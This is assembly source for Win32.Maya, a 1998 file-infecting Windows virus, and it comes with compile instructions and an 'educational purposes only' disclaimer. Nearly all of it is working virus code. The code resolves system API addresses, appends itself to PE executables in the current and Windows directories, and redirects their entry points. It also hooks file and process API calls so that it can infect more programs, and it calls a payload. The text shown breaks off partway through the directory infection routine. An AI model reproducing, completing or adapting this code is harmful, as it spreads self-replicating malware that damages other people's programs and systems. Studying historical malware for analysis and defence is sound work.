;----------------------------------------------------------------------------
; ???   ???????????  ?????????????????   ????????? ??????????? ???????????
; ???   ???????????? ?????????????????   ????????? ????????? ??? ?????????
; ?????????????????????? ?????????????   ????????? ???????????????????????
; ?????????????????????? ?????????????   ????????? ???????????????????????
; ?????????? ???? ??????????????????????????   ??? ???  ???  ???  ???  ???
; ???????????????  ?????????????????????????   ??? ???  ???  ???  ???  ???
; ??????????????????? Copyright 1998 The Shaitan [SLAM] ??????????????????
;
;
;                         - BETA PREVIEW v0.99b -
;
; Win32.Maya is a per-process memory resident infector of Win32 PE files...
;
;
; To compile (with TASM 5.0):
; ---------------------------
; tasm32 /ml /m5 maya.asm
; tlink32 /Tpe /aa maya.obj, maya.exe, , import32.lib
; pewrsec maya.exe
;
; Disclaimer:
; -----------
; THIS PROGRAM IS  MEANT FOR EDUCATIONAL PURPOSES  ONLY. THE AUTHOR CANNOT BE
; HELD RESPONSIBLE FOR ANY DAMAGE ARISING OUT OF ANY USE, MISUSE OR INABILITY
; TO USE THIS PROGRAM.
;
;----------------------------------------------------------------------------

.386p
.model flat
JUMPS

code_len                        equ     code_end - code_start
L                               equ     
GENERIC_READ                    equ     80000000h
GENERIC_WRITE                   equ     40000000h
GENERIC_READ_WRITE              equ     GENERIC_READ or GENERIC_WRITE
OPEN_EXISTING                   equ     00000003h
PAGE_READWRITE                  equ     00000004h
PAGE_WRITECOPY                  equ     00000008h
FILE_MAP_WRITE                  equ     00000002h
FILE_SHARE_READ                 equ     00000001h
FILE_ATTRIBUTE_NORMAL           equ     00000080h
FILE_ATTRIBUTE_DIRECTORY        equ     00000010h
FILE_BEGIN                      equ     00000000h

HKEY_CURRENT_USER               equ     80000001h
KEY_SET_VALUE                   equ     00000002h
REG_SZ                          equ     00000001h
SPI_SETDESKWALLPAPER            equ     00000020
CREATE_ALWAYS                   equ     00000002h
MB_ICONEXCLAMATION              equ     00000030h

bmp_filesize            equ     offset bmp_data_end - offset bmp_data_start

FILETIME struc
        dwLowDateTime   dd      ?
        dwHighDateTime  dd      ?
FILETIME ends

WIN32_FIND_DATA struc
        dwFileAttributes        dd              ?
        ftCreationTime          FILETIME        ?
        ftLastAccessTime        FILETIME        ?
        ftLastWriteTime         FILETIME        ?
        nFileSizeHigh           dd              ?
        nFileSizeLow            dd              ?
        dwReserved0             dd              ?
        dwReserved1             dd              ?
        cFileName               db      260     dup     (?)
        cAlternateFileName      db      14      dup     (?)
WIN32_FIND_DATA ends

SYSTEMTIME struc
        wYear           dw      ?
        wMonth          dw      ?
        wDayOfWeek      dw      ?
        wDay            dw      ?
        wHour           dw      ?
        wMinute         dw      ?
        wSecond         dw      ?
        wMilliseconds   dw      ?
SYSTEMTIME ends

; Functions imported by Generation-1 -
extrn           ExitProcess:PROC
extrn           GetModuleHandleA:PROC
extrn           MessageBoxA:PROC

; Some dummy data for Generation-1 - 
.data
dummy   dd      'MAYA'

;----------------------------------------------------------------------------
; CODE -
;----------------------------------------------------------------------------
.code
code_start:
        push    ebp                     ; Save entry point EBP

        call    next_line               ; Call next instruction
next_line:                              ;
        pop     ebp                     ; Pop EIP of the stack
        mov     ebx,ebp                 ; 
        sub     ebp,offset next_line    ; Adjust to get delta

                db      0b8h            ; mov eax,xxxxh (Patched during
eip_patch       dd      1000h           ; infection with RVA of startup EIP)

        add     eax,6                   ; Adjust
        sub     ebx,eax                 ; EBX = Base address of running module
        mov     [module_base+ebp],ebx   ; Save base address

; Get address of GetModuleHandleA from current process' import table
        mov     edx,offset GMH_string   ; Offset of ASCIIZ API name
        add     edx,ebp                 ; Adjust with delta
        mov     ecx,[GMH_string_len+ebp]; Length of API name
        push    ebp                     ; Save EBP
        call    GetImportAPIAddress     ; Get the address of the API call
        pop     ebp                     ; Restore EBP
        cmp     eax,0ffffffffh          ; Could not retrieve API address?
        je      quit                    ; Yes. Do not continue...

        mov     [_GetModuleHandleA+ebp],eax ; Save address of function

        push    ebp                     ; Preserve delta pointer
        mov     ebx,offset k32_string   ; Offset of ASCIIZ "KERNEL32.DLL"
        add     ebx,ebp                 ; Adjust with delta
        push    ebx                     ; Push parameter onto stack
        call    eax                     ; Call GetModuleHandleA
        pop     ebp                     ; Retrieve delta pointer
        mov     [kernel32+ebp],eax      ; Save base address of KERNEL32.DLL

; Get addresses of all other API functions we need...
get_api_addresses:
        mov     edi,offset api_names    ; Start of our API_NAME_STRUCT array
        add     edi,ebp                 ; Adjust with delta
api_address_loop:
        mov     ecx,[edi]               ; ECX = Length of API name string
        cmp     ecx,'MAYA'              ; End of array marker?
        je      aal_end                 ; Yes. Jump...
        add     edi,4                   ; EDI = Offset of ASCIIZ API string
        mov     edx,edi                 ; EDX = "       "       "       "
        add     edi,ecx                 ; EDI = Location to store API address
        push    edi                     ; Save EDI
        call    GetExportAPIAddress     ; Lookup K32 exports for API address
        pop     edi                     ; Restore EDI
        mov     [edi],eax               ; Save address of API function
        add     edi,4                   ; EDI = Start of next API_NAME_STRUCT
        jmp     api_address_loop        ; Loop till done
aal_end:

pp_resident:

; Now we infect files in the current and Windows base directory...
        mov     [infect_counter+ebp],0
        call    InfectCurrentAndWindowsDirectory 

        call    HookAPI                 ; Try to hook some API calls

        call    Payload                 ; Run the virus' payload...

quit:
        mov     eax,[ori_eip+ebp]       ; Original entry point
        add     eax,[module_base+ebp]   ; RVA -> VA
        pop     ebp                     ; Restore the entry point EBP
        push    eax                     ; Push onto stack
        ret                             ; Jump to original EIP

;----------------------------------------------------------------------------
; GetExportAPIAddress - Retrieves address of specified API function from
;                       KERNEL32 export table
;
; On entry     : EDX - ASCIIZ string of API whose address is to be retrieved
;                ECX - Length of the ASCIIZ API string
;
; Return value : Address of API call in EAX
;----------------------------------------------------------------------------
GetExportAPIAddress:
        mov     esi,[kernel32+ebp]      ; ESI = K32 base address
        cmp     word ptr [esi],'ZM'     ; Is K32 there?
        jne     GEAA_quit               ; No. Cannot continue...

        xor     eax,eax                 ; EAX = 0 
        mov     ax,word ptr [esi+3ch]   ; Get RVA of PE header
        add     eax,[kernel32+ebp]      ; RVA to VA
        xchg    esi,eax                 ; ESI = EAX
        cmp     word ptr [esi],'EP'     ; Is the PE header there?
        jne     GEAA_quit               ; No. Cannot continue...

        mov     esi,[esi+78h]           ; Get .edata RVA from IMAGE_DATA_DIR 
        add     esi,[kernel32+ebp]      ; RVA -> VA

        mov     eax,[esi+1ch]           ; RVA of array of function addresses
        add     eax,[kernel32+ebp]      ; RVA -> VA
        mov     [AddressOfFunctions+ebp],eax ; Save

        mov     eax,[esi+20h]           ; RVA of array of API name strings
        add     eax,[kernel32+ebp]      ; RVA to VA
        mov     [AddressOfNames+ebp],eax; Save

        mov     eax,[esi+24h]           ; RVA of array of export ordinals
        add     eax,[kernel32+ebp]      ; RVA -> VA
        mov     [AddressOfOrdinals+ebp],eax; Save

        xor     eax,eax                 ; Initialize our counter
apisearch_loop:
        push    ecx                     ; ECX = Length of ASCIIZ API string
        mov     esi,edx                 ; ASCIIZ API function name
        mov     edi,[AddressOfNames+ebp]; Point to start of table containing
        add     edi,eax                 ; API function name strings...
        mov     edi,[edi]               ; "     "       "       "       "
        add     edi,[kernel32+ebp]      ; "     "       "       "       "
        repe    cmpsb                   ; Compare the two strings
        cmp     ecx,0                   ; Exact match found?
        je      match                   ; Yes! Jump...
        add     eax,4                   ; No. Lets compare the next string...
        pop     ecx                     ; Restore ECX
        jmp     apisearch_loop          ; Continue looping (it's a for(;;) :)
match:
        pop     ecx                     ; Take it off the stack
        shr     eax,1                   ; Divide by 2 (array is of WORDs)
        add     eax,[AddressOfOrdinals+ebp]; Point to proper element in array
        xor     ebx,ebx                 ; EBX = 0
        mov     bx,word ptr [eax]       ; Get our index into AddressOfFuncs
        shl     ebx,2                   ; Multiply by 4 (array is of DWORDs)
        add     ebx,[AddressOfFunctions+ebp]; Point to relevant element in array
        mov     eax,[ebx]               ; EAX = RVA of API function address
        add     eax,[kernel32+ebp]      ; EAX = Address of API function!!!
        ret                             ; Exit with API address in EAX
GEAA_quit:
        mov     eax,0ffffffffh          ; Error value in EAX
        ret                             ; End of GetExportAPIAddress

;----------------------------------------------------------------------------
; GetImportAPIAddress - Retrieves address of imported API function from the
;                       the current processes Import Table.
;
; On entry      :       EDX = Offset of ASCIIZ API name to search for
;               :       ECX = Length of ASCIIZ string
;
; On Return     :       EAX = Address of API function
;                       EBX = Offset in import table where API address
;                             is stored
;----------------------------------------------------------------------------
GetImportAPIAddress:
        mov     esi,[module_base+ebp]   ; ESI = Base address of process
        cmp     word ptr [esi],'ZM'     ; Is the base correctly assumed?
        jne     GIAA_end                ; No. Quit...

        xor     eax,eax                 ; EAX = 0
        mov     ax, word ptr [esi+3ch]  ; Get RVA of PE header
        mov     esi,eax                 ; ESI = RVA of PE offset
        add     esi,[module_base+ebp]   ; Convert RVA to VA
        cmp     word ptr [esi],'EP'     ; Is the PE header there?
        jne     GIAA_end                ; Nope. Quit...

        mov     esi,[esi+80h]           ; RVA of .idata section
        add     esi,[module_base+ebp]   ; ESI = Start of .idata section

        mov     eax,esi                 ; EAX = Start of .idata
find_ik32:
        mov     esi,eax                 ; ESI = First/next IMPORT_DESCRIPTOR
        mov     esi,[esi+0ch]           ; RVA of imported module ASCIIZ string
        add     esi,[module_base+ebp]   ; RVA >> VA
        cmp     [esi],'NREK'            ; IMPORT_DESCRIPTOR for K32?
        je      ik32_found              ; Yes, we found it!
        add     eax,14h                 ; EAX = Next IMPORT_DESCRIPTOR
        jmp     find_ik32               ; Loop till found...
ik32_found:
        mov     esi,eax                 ; ESI = K32 IMPORT_DESCRIPTOR
        mov     eax,[esi+10h]           ; RVA of IMAGE_THUNK_DATA
        add     eax,[module_base+ebp]   ; RVA to VA
        mov     [itd_va+ebp],eax        ; Save it for later use...
        cmp     dword ptr [esi],0       ; NULL "OriginalFirstThunk" field?
        je      GIAA_end                ; Yes, No hint-name table then :(
        mov     esi,[esi]               ; Pointer to pointer!
        add     esi,[module_base+ebp]   ; RVA >> VA
        mov     ebx,esi                 ; 
        xor     eax,eax                 ; Init EAX (for use as an index)

iAPI_loop:
        cmp     dword ptr [ebx],0       ; No more RVAs?
        je      GIAA_end                ; Yes. Jump...
        cmp     byte ptr [ebx+3],80h    ; Ordinal?
        je      inc_ndx                 ; Yes. Skip...
        mov     esi,[ebx]               ; 
        add     esi,[module_base+ebp]   ; 
        add     esi,2                   ; ESI = Start of ASCIIZ API name
        mov     edi,edx                 ; EDI = String to compare with
compare:
        push    ecx                     ; Preserve ECX
        repe    cmpsb                   ; Compare the 2 strings...
        cmp     ecx,0                   ; Match found?
        pop     ecx                     ; Restore ECX (length of API string)
        je      API_found               ; Yes! Jump...
inc_ndx:
        inc     eax                     ; No. Increment our index
        add     ebx,4                   ; 
        jmp     iAPI_loop               ; Continue looping...
API_found:
        shl     eax,2                   ; Multiply by 4
        add     eax,[itd_va+ebp]        ; Point to corresponding element
        mov     ebx,eax                 ; EBX = Offset containing API address
        mov     eax,[eax]               ; EAX = API call address
        ret                             ; Return to caller

GIAA_end:
        mov     eax,0ffffffffh          ; Error code
        ret                             ; Return

;----------------------------------------------------------------------------
; InfectFile -
;
; On entry      :       EDX = ASCIIZ filename
;
; Returns       :       On success EAX = 0 & Infection counter incremented
;                       On failure EAX = 0ffffffffh
;----------------------------------------------------------------------------
InfectFile:
        mov     [infect_success+ebp],0  ; Initialize flag

        call    VxGetFileAttributes     ; Get file attributes
        mov     [ori_attrib+ebp],eax    ; Save them

        push    edx                     ; Save EDX (offset to ASCIIZ filename)

        mov     eax,FILE_ATTRIBUTE_NORMAL ; New file attributes to set
        call    VxSetFileAttributes       ; Remove read-only etc restrictions

        call    VxOpenFile              ; Try to open the file
        cmp     eax,0ffffffffh          ; Error opening the file?
        je      if_restore_attrib       ; Yes. Do not continue...
        mov     [file_handle+ebp],eax   ; Save file handle

        call    VxGetFileSize           ; Get the filesize
        cmp     eax,0ffffffffh          ; Error?
        je      if_close_file           ;
        cmp     [fsize_high+ebp],0      ; File too big?
        jne     if_close_file           ; Yes. Do not try to infect
        xchg    ecx,eax                 ; ECX = File size
        mov     [new_filesize+ebp],ecx  ; "     "       "       "

        mov     eax,[file_handle+ebp]   ; EAX = File handle
        mov     ecx,[new_filesize+ebp]  ; ECX = File size
        add     ecx,code_len + 1000h    ; Size of mapping object
        call    VxCreateFileMapping     ; Create mapping object
        cmp     eax,0                   ; Failure?
        je      if_close_map            ; Yes. Cannot continue...
        mov     [map_handle+ebp],eax    ; Save mapping handle

        mov     ecx,[new_filesize+ebp]  ; ECX = No. of bytes to map view
        add     ecx,code_len + 1000h    ; "     "       "       "       "
        call    VxMapViewOfFile         ; Map view of file
        cmp     eax,0                   ; Failure?
        je      if_close_map            ; Yes. Do not continue...
        mov     [map_address+ebp],eax   ; Save address of map view

        mov     esi,eax                 ; ESI = Address of map view
        cmp     word ptr [esi],'ZM'     ; Is the MZ signature there?
        jne     if_close_view           ; No. Not an EXE file...

        cmp     word ptr [esi+12h],'MW' ; Already infected?
        je      if_close_view           ; Yes. Jump...
        mov     word ptr [esi+12h],'MW' ; No. Mark as infected now...

        xor     eax,eax                 ; EAX = 0
        mov     ax,word ptr [esi+3ch]   ; Get offset to PE header
        cmp     ax,0                    ; NULL field?
        je      if_close_view           ; Yes. Not a PE file...
        cmp     eax,new_filesize        ; Invalid field?
        jae     if_close_view           ; Yes. Corrupt PE file... (?)
        add     eax,[map_address+ebp]   ; RVA -> VA
        mov     esi,eax                 ; ESI = Offset of PE header
        cmp     word ptr [esi],'EP'     ; Is the PE signature there?
        jne     if_close_view           ; Nope. Not a PE file...
        mov     [pe_header+ebp],eax     ; Save it for later use

        mov     eax,[esi+3ch]           ; EAX = File Alignment
        mov     [file_align+ebp],eax    ; Save for later use

        mov     eax,[ori_eip+ebp]       ; Get original EIP in EAX
        mov     [tmp_eip+ebp],eax       ; Save it in a temporary variable
        mov     eax,[esi+28h]           ; EAX = Original EIP
        mov     [ori_eip+ebp],eax       ; Save it

        xor     eax,eax                 ; EAX = 0
        mov     ax,word ptr [esi+6]     ; Number of sections in file
        dec     eax                     ; Decrease by 1
        mov     cx,28h                  ; Size of each IMAGE_SECTION_HEADER
        mul     cx                      ; EAX = Size of section table - 28h
        mov     ebx,[esi+74h]           ; EAX = NumberOfRvaAndSizes
        shl     ebx,3                   ; Multiply by 3
        add     eax,ebx                 ; Add size of IMAGE_DATA_DIRECTORY
        add     eax,78h                 ; Size of PE header (- IMG_DATA_DIR)
        add     eax,[pe_header+ebp]     ; EAX = Last entry in section table
        mov     [last_entry+ebp],eax    ; Save ...

        mov     edi,eax                 ; EDI = Last entry in section table
        mov     eax,[edi+10h]           ; EAX = Size of rawdata
        mov     [size_rawdata+ebp],eax  ; Save for later use
        add     eax,[edi+0ch]           ; Add VirtualAddress to get new EIP
        mov     [eip_patch+ebp],eax     ; Patch the mov eax,xxxx instruction
        mov     [new_eip+ebp],eax       ; Save for later use
        
        push    edi                     ; Preserve EDI
        mov     eax,[edi+14h]           ; EAX = RVA of section data
        add     eax,[map_address+ebp]   ; RVA -> VA
        add     eax,[edi+10h]           ; EAX = Destination to copy to
        mov     edi,eax                 ; EDI = "       "       "       "
        mov     esi,offset code_start   ; ESI = Source to copy from
        add     esi,ebp                 ; Adjust with delta
        mov     ecx,code_len            ; ECX = No. of bytes to copy
        cld                             ; Clear direction flag
        rep     movsb                   ; Copy all the bytes
        pop     edi                     ; Restore EDI

        add     dword ptr [edi+10h],code_len ; New SizeOfRawData
        add     [new_filesize+ebp],code_len  ; New filesize

        xor     edx,edx                 ; EDX = 0
        mov     eax,[edi+10h]           ; EAX = Size of raw data
        mov     ecx,[file_align+ebp]    ; ECX = File alignment
        push    ecx                     ; Preserve ECX
        div     ecx                     ; Divide by ECX
        pop     ecx                     ; Restore ECX
        sub     ecx,edx                 ; ECX = No. of bytes to pad
        add     [edi+10h],ecx           ; New size of section raw-data
        add     [new_filesize+ebp],ecx  ; Final new filesize!
        mov     eax,[edi+10h]           ; EAX = SizeofRawData
        mov     [edi+8],eax             ; VirtualSize = SizeOfRawData

        or      dword ptr [edi+24h],00000020h ; Section now contains CODE
        or      dword ptr [edi+24h],20000000h ; Section is now EXECUTABLE
        or      dword ptr [edi+24h],80000000h ; Section is now WRITEABLE

        mov     esi,[pe_header+ebp]     ; ESI = Offset of PE header

; Now ESI = Offset of PE header & EDI = Offset of last entry of section table

        mov     eax,[new_eip+ebp]       ; EAX = Previously saved new EIP
        mov     [esi+28h],eax           ; Patch PE header AddressOfEntryPoint

        mov     eax,[new_filesize+ebp]  ; EAX = New image size
        mov     [esi+50h],eax           ; Patch PE header SizeOfImage

        mov     eax,[tmp_eip+ebp]       ; Get saved EIP
        mov     [ori_eip+ebp],eax       ; Restore the original variable

        mov     [infect_success+ebp],1  ; Successful infection!
        
if_close_view:
        mov     eax,[map_address+ebp]   ; EAX = Mapping address
        call    VxUnmapViewOfFile       ; Unmap the mapped view

if_close_map:
        mov     eax,[map_handle+ebp]    ; Get mapping object handle
        call    VxCloseHandle           ; Close the mapping object
                                        
if_setfilesize:
        mov     eax,[file_handle+ebp]   ; EAX = File handle
        mov     ecx,[new_filesize+ebp]  ; ECX = Distance to move
        call    VxSetFilePointer        ; Seek to reqd. location in file
        cmp     eax,0ffffffffh          ; Error?
        je      if_close_file           ; Yes. Jump...

        mov     eax,[file_handle+ebp]   ; EAX = File handle
        call    VxSetEndOfFile          ; Mark end of file

if_close_file:
        mov     eax,[file_handle+ebp]   ; Retrieve open file's handle
        call    VxCloseHandle           ; Close the file

if_restore_attrib:
        pop     edx                     ; Restore saved filename
        mov     eax,[ori_attrib+ebp]    ; Get saved attributes
        call    VxSetFileAttributes     ; Restore original attributes

if_end:
        ret                             ; Return to caller

;----------------------------------------------------------------------------
; VxOpenFile -
;----------------------------------------------------------------------------
VxOpenFile:
        push    ebp                             ; Save delta pointer
        push    L 0                             ; Template file (?)
        push    FILE_ATTRIBUTE_NORMAL           ; Attribute of file
        push    OPEN_EXISTING                   ; Open an existing file
        push    L 0                             ; Security Attributes
        push    FILE_SHARE_READ                 ; Share mode
        push    GENERIC_READ_WRITE              ; Access mode
        push    edx                             ; ASCIIZ Filename
        mov     eax,[_CreateFileA+ebp]          ; Address of API call
        call    eax                             ; Call API to open file
        pop     ebp                             ; Restore delta pointer
        ret                                     ; Return to caller

;----------------------------------------------------------------------------
; VxCloseHandle -
;----------------------------------------------------------------------------
VxCloseHandle:
        push    ebp                             ; Preserve delta
        push    eax                             ; EBX = File handle
        mov     eax,[_CloseHandle+ebp]          ; API to call
        call    eax                             ; Call API function
        pop     ebp                             ; Restore delta
        ret                                     ; Return to caller

;----------------------------------------------------------------------------
; VxCreateFileMapping -
;----------------------------------------------------------------------------
VxCreateFileMapping:
        push    ebp                             ; Save delta pointer
        push    L 0                             ; Name of mapping object
        push    ecx                             ; Max size of mapping object
        push    L 0                             ; "     "       "       "
        push    PAGE_READWRITE                  ; Read/Write access
        push    L 0                             ; Security attributes
        push    eax                             ; Handle of file to map
        mov     eax,[_CreateFileMappingA+ebp]   ; Address of API call
        call    eax                             ; Call API to map file
        pop     ebp                             ; Restore delta pointer
        ret                                     ; Return to caller

;----------------------------------------------------------------------------
; VxMapViewOfFile -
;----------------------------------------------------------------------------
VxMapViewOfFile:
        push    ebp                             ; Save delta pointer
        push    ecx                             ; No. of bytes to map
        push    L 0                             ; File offset (low)
        push    L 0                             ; File offset (high)
        push    FILE_MAP_WRITE                  ; Read/Write access
        push    eax                             ; Handle to mapping object
        mov     eax,[_MapViewOfFile+ebp]        ; Address of API call
        call    eax                             ; Create a map file view
        pop     ebp                             ; Restore delta pointer
        ret                                     ; Return to caller

;----------------------------------------------------------------------------
; VxUnmapViewOfFile -
;----------------------------------------------------------------------------
VxUnmapViewOfFile:
        push    ebp                             ; Save delta pointer
        push    eax                             ; Address of file map
        mov     eax,[_UnmapViewOfFile+ebp]      ; Address of API to call
        call    eax                             ; Call API
        pop     ebp                             ; Restore delta pointer
        ret                                     ; Return to caller

;----------------------------------------------------------------------------
; VxSetFilePointer -
;----------------------------------------------------------------------------
VxSetFilePointer:
        push    ebp                             ; Save delta pointer
        push    FILE_BEGIN                      ; Move from start of file
        push    L 0                             ; Distance to move (high)
        push    ecx                             ; "     "       "       "
        push    eax                             ; Handle of file
        mov     eax,[_SetFilePointer+ebp]       ; API function to call
        call    eax                             ; Call API
        pop     ebp                             ; Restore delta pointer
        ret                                     ; Return to caller

;----------------------------------------------------------------------------
; VxSetEndOfFile -
;----------------------------------------------------------------------------
VxSetEndOfFile:
        push    ebp                             ; Save delta pointer
        push    eax                             ; Handle of file to truncate
        mov     eax,[_SetEndOfFile+ebp]         ; API to call
        call    eax                             ; Call API to truncate file
        pop     ebp                             ; Restore delta pointer
        ret                                     ; Return to caller

;----------------------------------------------------------------------------
; VxGetFileSize -
;----------------------------------------------------------------------------
VxGetFileSize:
        push    ebp                             ; Save delta pointer
        mov     ebx,offset fsize_high           ; Offset to store high-dword
        add     ebx,ebp                         ; of filesize...
        push    ebx                             ; Push onto stack
        push    eax                             ; Push file handle onto stack
        mov     eax,[_GetFileSize+ebp]          ; Get address of API call
        call    eax                             ; Call API function
        pop     ebp                             ; Restore delta pointer
        ret                                     ; Return to caller

;----------------------------------------------------------------------------
; VxGetFileAttributes -
;----------------------------------------------------------------------------
VxGetFileAttributes:
        push    ebp                             ; Save delta pointer
        push    edx                             ; Save EDX
        push    edx                             ; Offset of ASCIIZ filename
        mov     eax,[_GetFileAttributesA+ebp]   ; API to call
        call    eax                             ; Call API function
        pop     edx                             ; Restore EDX
        pop     ebp                             ; Restore delta
        ret                                     ; Return to caller

;----------------------------------------------------------------------------
; VxSetFileAttributes -
;----------------------------------------------------------------------------
VxSetFileAttributes:
        push    ebp                             ; Save delta pointer
        push    eax                             ; Attributes to set
        push    edx                             ; Offset of ASCIIZ filename
        mov     eax,[_SetFileAttributesA+ebp]   ; API to call
        call    eax                             ; Call API function
        pop     ebp                             ; Restore delta pointer
        ret                                     ; Return to caller

;----------------------------------------------------------------------------
; VxGetCurrentDirectory -
;----------------------------------------------------------------------------
VxGetCurrentDirectory:
        push    ebp                     ; Save delta
        push    eax                     ; Buffer to store directory string
        push    L 128                   ; Length of Directory buffer
        mov     eax,[_GetCurrentDirectoryA+ebp]; Address of API to call
        call    eax                     ; Call API
        pop     ebp                     ; Restore EBP
        ret                             ; Return to caller

;----------------------------------------------------------------------------
; VxSetCurrentDirectory -
;----------------------------------------------------------------------------
VxSetCurrentDirectory:
        push    ebp                     ; Save delta
        push    eax                     ; Buffer to store directory string
        mov     eax,[_SetCurrentDirectoryA+ebp]; Address of API to call
        call    eax                     ; Call API
        pop     ebp                     ; Restore EBP
        ret                             ; Return to caller

;----------------------------------------------------------------------------
; VxGetWindowsDirectory -
;----------------------------------------------------------------------------
VxGetWindowsDirectory:
        push    ebp                     ; Save delta
        push    L 128                   ; Size of buffer
        push    eax                     ; Buffer to store directory string
        mov     eax,[_GetWindowsDirectoryA+ebp]; Address of API to call
        call    eax                     ; Call API
        pop     ebp                     ; Restore EBP
        ret                             ; Return to caller

;----------------------------------------------------------------------------
; VxGetSystemTime -
;----------------------------------------------------------------------------
VxGetSystemTime:
        push    ebp                     ; Save delta pointer
        mov     eax,offset st           ; Offset of SYSTEMTIME structure
        add     eax,ebp                 ; Adjust
        push    eax                     ; Pass as parameter
        mov     eax,[_GetSystemTime+ebp]; Address of API to call
        call    eax                     ; Call API
        pop     ebp                     ; Restore delta pointer
        ret                             ; Return to caller

;----------------------------------------------------------------------------
; VxGetModuleHandle -
;----------------------------------------------------------------------------
VxGetModuleHandle:
        push    ebp                     ; Save delta
        push    eax                     ; EAX = ASCIIZ module name
        mov     eax,[_GetModuleHandleA+ebp] ; Address of API to call
        call    eax                     ; Call API
        pop     ebp                     ; Restore EBP
        ret                             ; Return to caller

;----------------------------------------------------------------------------
; VxGetProcAddress -
;----------------------------------------------------------------------------
VxGetProcAddress:
        push    ebp                     ; Save EBP
        push    edx                     ; EDX = ASCIIZ API name string
        push    eax                     ; EAX = Base address of module
        mov     eax,[_GetProcAddress+ebp]; Address of API to call
        call    eax                     ; Call GetProcAddress
        pop     ebp                     ; Restore EBP
        ret                             ; Return to caller

;----------------------------------------------------------------------------
; HookAPI - This function looks up the addresses of several API functions
;           in the import table of the current process and replaces them
;           with the addresses of the virus' handlers.
;----------------------------------------------------------------------------
HookAPI:
        mov     edi,offset hookable_api ; Start of Hookable API array 
        add     edi,ebp                 ; Adjust with delta
hookapi_loop:
        mov     ecx,[edi]               ; ECX = Length of API string
        cmp     ecx,'SHAI'              ; End of array?
        je      hal_end                 ; Yes. Exit loop...
        add     edi,4                   ; EDI = Offset of API string
        mov     edx,edi                 ; EDX = "       "       "
        push    edi                     ; Save EDI
        push    ecx                     ; Save ECX
        push    ebp                     ; Save delta
        call    GetImportAPIAddress     ; Get API address
        pop     ebp                     ; Restore delta
        pop     ecx                     ; Restore ECX
        pop     edi                     ; Restore EDI
        add     edi,ecx                 ; EDI = Offset to store API address
        cmp     eax,0ffffffffh          ; API not found in import table?
        je      next_hook               ; No. Jump...
        mov     [edi],eax               ; Save original API address
        mov     eax,[edi+4]             ; EAX = Address of new handler
        add     eax,ebp                 ; Adjust with delta
        mov     [ebx],eax               ; Patch import table 
next_hook:
        add     edi,8                   ; Next element in Hookable API array
        jmp     hookapi_loop            ; Loop till done
hal_end:
        ret                             ; Return to caller

;----------------------------------------------------------------------------
; HookInfect - 
;----------------------------------------------------------------------------
HookInfect:
        pushad                          ; Save all registers
        call    GetDelta                ; Get delta pointer
        add     ecx,28h                 ; ESP + ECX = Offset of ASCIIZ string
        mov     edx,[esp+ecx]           ; EDX = ASCIIZ filename to infect
        call    CheckIfEXE              ; Check if file has .EXE extension
        cmp     eax,1                   ; Is it an .EXE?
        jne     hi_end                  ; No. Exit...
        call    InfectFile              ; Try to infect the file
hi_end:
        popad                           ; Restore saved registers
        ret                             ; Return to caller

;----------------------------------------------------------------------------
; CheckIfEXE - 
;----------------------------------------------------------------------------
CheckIfEXE:
        mov     esi,edx                 ; ESI = Start of ASCIIZ string
        cld                             ; Clear direction flag
cie_loop:
        lodsb                           ; AL = Byte at ESI (and ESI++)
        cmp     al,0                    ; End of string?
        je      cie_end_fail            ; Yes. Jump...
        cmp     al,'.'                  ; DOT found?
        jne     cie_loop                ; Loop till done...
        cmp     [esi-1],'EXE.'          ; Is it an EXE?
        je      cie_end_ok              ; Yes. Jump...
        cmp     [esi-1],'exe.'          ; Is it an EXE?
        je      cie_end_ok              ; Yes. Jump...
cie_end_fail:
        xor     eax,eax                 ; EAX = 0 (Not an EXE)
        ret                             ; Return
cie_end_ok:
        mov     eax,1                   ; EAX = 1 (File has an EXE extension)
        ret                             ; Return

;----------------------------------------------------------------------------
; The following are handlers for hooked API calls...
;----------------------------------------------------------------------------
HookMoveFile:
        call    FunctionUsedByHookers   ; 
        jmp     [_MoveFileA+ecx]        ; Jump to original API address

;----------------------------------------------------------------------------
HookCopyFile:
        call    FunctionUsedByHookers   ; 
        jmp     [_CopyFileA+ecx]        ; Jump to original API address

;----------------------------------------------------------------------------
HookCreateFile:
        call    FunctionUsedByHookers   ; 
        jmp     [_CreateFileHook+ecx]   ; Jump to original API address

;----------------------------------------------------------------------------
HookDeleteFile:
        call    FunctionUsedByHookers   ; 
        jmp     [_DeleteFileA+ecx]      ; Jump to original API address

;----------------------------------------------------------------------------
HookSetFileAttributes:
        call    FunctionUsedByHookers   ; 
        jmp     [_SetFileAttributesHook+ecx] ; Jump to original API address

;----------------------------------------------------------------------------
HookGetFileAttributes:
        call    FunctionUsedByHookers   ; 
        jmp     [_GetFileAttributesHook+ecx] ; Jump to original API address

;----------------------------------------------------------------------------
HookGetFullPathName:
        call    FunctionUsedByHookers   ; 
        jmp     [_GetFullPathNameA+ecx] ; Jump to original API address

;----------------------------------------------------------------------------
HookCreateProcess:
        call    FunctionUsedByHookers   ; 
        jmp     [_CreateProcessA+ecx]   ; Jump to original API address


;----------------------------------------------------------------------------
FunctionUsedByHookers:
        mov     ecx,4                   ; Parameter no. * 4
        call    HookInfect              ; Try to infect the file
        push    ebp                     ; Save EBP
        call    GetDelta                ; EBP = Delta pointer
        mov     ecx,ebp                 ; ECX = "       "       "
        pop     ebp                     ; Restore ECX
        ret                             ; Return to uh... hooker

;----------------------------------------------------------------------------
; GetDelta -
;----------------------------------------------------------------------------
GetDelta:
        call    get_delta               ; Get delta pointer in EBP using the
get_delta:                              ; usual trick...
        pop     ebp                     ; "     "       "       "       "
        sub     ebp,offset get_delta    ; "     "       "       "       "
        ret                             ; "     "       "       "       "

;----------------------------------------------------------------------------
; InfectCurrentAndWindowsDirectory -
;----------------------------------------------------------------------------
InfectCurrentAndWindowsDirectory:
        mov     [infect_counter+ebp],0  ; Initialize counter
        call    InfectCurrentDirectory  ; Infect files in current directory
        cmp     [infect_counter+ebp],5  ; Maximum no. of files infected?
        je      ICAWD_end               ; Yes. Jump...

        mov     eax,offset currdir      ; Buffer to store dir string
        add     eax,ebp                 ; Adjust with delta
        call    VxGetCurrentDirectory   ; Get current directory
        cmp     eax,00000000h           ; Error?
        je      ICAWD_end               ; Yes, Jump...

        mov     eax,offset windir       ; Buffer to store dir string
        add     eax,ebp                 ; Adjust with delta
        call    VxGetWindowsDirectory   ; Get Windows base directory
        cmp     eax,00000000h           ; Error?
        je      ICAWD_end               ; Yes, Jump...

        mov     eax,offset windir       ; Offset of ASCIIZ dir string
        add     eax,ebp                 ; Adjust with delta
        call    VxSetCurrentDirectory   ; Change to Windows base directory
        cmp     eax,00000000h           ; Error?
